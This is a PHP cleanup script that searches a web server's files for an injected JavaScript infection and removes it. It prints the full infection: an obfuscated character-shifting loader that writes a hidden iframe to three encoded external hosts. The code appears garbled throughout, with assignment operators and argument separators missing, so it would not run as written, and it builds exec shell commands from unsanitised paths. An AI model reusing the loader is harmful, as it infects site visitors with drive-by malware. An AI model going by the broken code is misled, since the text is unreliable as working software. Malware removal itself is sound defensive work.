<?php

/* Cleanup script v1.4. */
/* Thanks to Stephan Miller, sysrenan */
/* Additional infection: Thanks to Nate Todd */

/* Changes from original:
   - Added parameter "list" - so you can only list the infected files
   - Cleanup up the str_replace stuff and split out the infected code portions
   - Add additional "grep" method for finding files.  Now checks both grep and find and merges the results together (thanks sysrenan for the grep)

*/

// Make sure the trailing slash exists
$dirs = array(
        
'/home/delphste/blah/',
);

$infectionStart '<script>var source ="=jgsbnf!tsd>(iuuq;';

$infections = array(
        
'00nbyuftu/tvebusbgg/jogp0ut0(',
        
'00qsfwfewtfn234/do0360joefy/qiq(',
        
'00iv2.iv2/do0dpvoufs0joefy/qiq(',
);

$infectionEnd '!xjeui>2!ifjhiu>2!gsbnfcpsefs>1?=0jgsbnf?"; var result = "";
for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1);
document.write(result); </script>'
."\n";

// Uncomment this if you only want to search .php files
//$findparms = '-name \*.php ';

// Uncomment this if you only want to search .php files
//$grepparms = ".php";

// Comment this out if you only want to search one folder via grep 
$recursive " -R";

// Select check method (grep or find).  Default is to use both
$checkGrep true;
$checkFind true;

$skipHeal false;

// Check arguments
if (count($argv) > 1) {
        if (
$argv[1] == "list") {
                
$skipHeal true;
        }
}

foreach (
$dirs as $dir)
{

        echo 
"Checking directory ".$dir."\n";

    if (
$checkGrep == true) {
            echo 
"Check 1 (grep)...\n";
            
exec("/bin/grep -l -H ".$recursive." '=jgsbnf!tsd' ".$dir."*".$grepparms$output1);
    } else {
        
$output1 = array();
    }

    if (
$checkFind == true) {
            echo 
"Check 2 (find)...\n";
            
exec('/usr/bin/find '.$dir.' '.$findparms.' | /usr/bin/xargs /bin/grep "=jgsbnf!tsd" -s1 -H -C0 | /bin/gawk -F: \'{ print $1; }\''$output2);
    } else {
        
$output2 = array();
    }

    
$output array_merge($output1$output2);
        
$output array_unique($output);

//    echo print_r($output);

        
echo count($output)." total files need healing.\n";

        foreach (
$output as $line) {
                
$stuff explode(":"$line);

                if (
strpos($stuff[0], "Binary file ") === false) {
                        
// Not a binary file

                        
echo "\t".$stuff[0]."\n";

                        if (
$skipHeal == false) {

                                
$file file_get_contents($stuff[0]);

                                foreach (
$infections as $infection) {

                                        
$file str_replace('</html><html><body>'."\n".$infectionStart.$infection.$infectionEnd."</body></html>\n"""$file);
                                        
$file str_replace('<html><body>'."\n".$infectionStart.$infection.$infectionEnd."</body></html>\n"""$file);

                    
$file str_replace('<html> <body>'.$infectionStart.$infection.$infectionEnd."</html> </body>\n"""$file);
                                        
$file str_replace($infectionStart.$infection.$infectionEnd""$file);

                                }

                                
$fp fopen($stuff[0], 'wb');
                                
fwrite($fp$file);
                                
fclose($fp);

                        }
                } else {

                        
$stuff[0] = str_replace("Binary file """$stuff[0]);
                        
$stuff[0] = str_replace(" matches"""$stuff[0]);

                        echo 
"Skipping binary file ".$stuff[0]." - not supported, yet!\n";

                }

        }

}

echo 
"Done!\n";

?>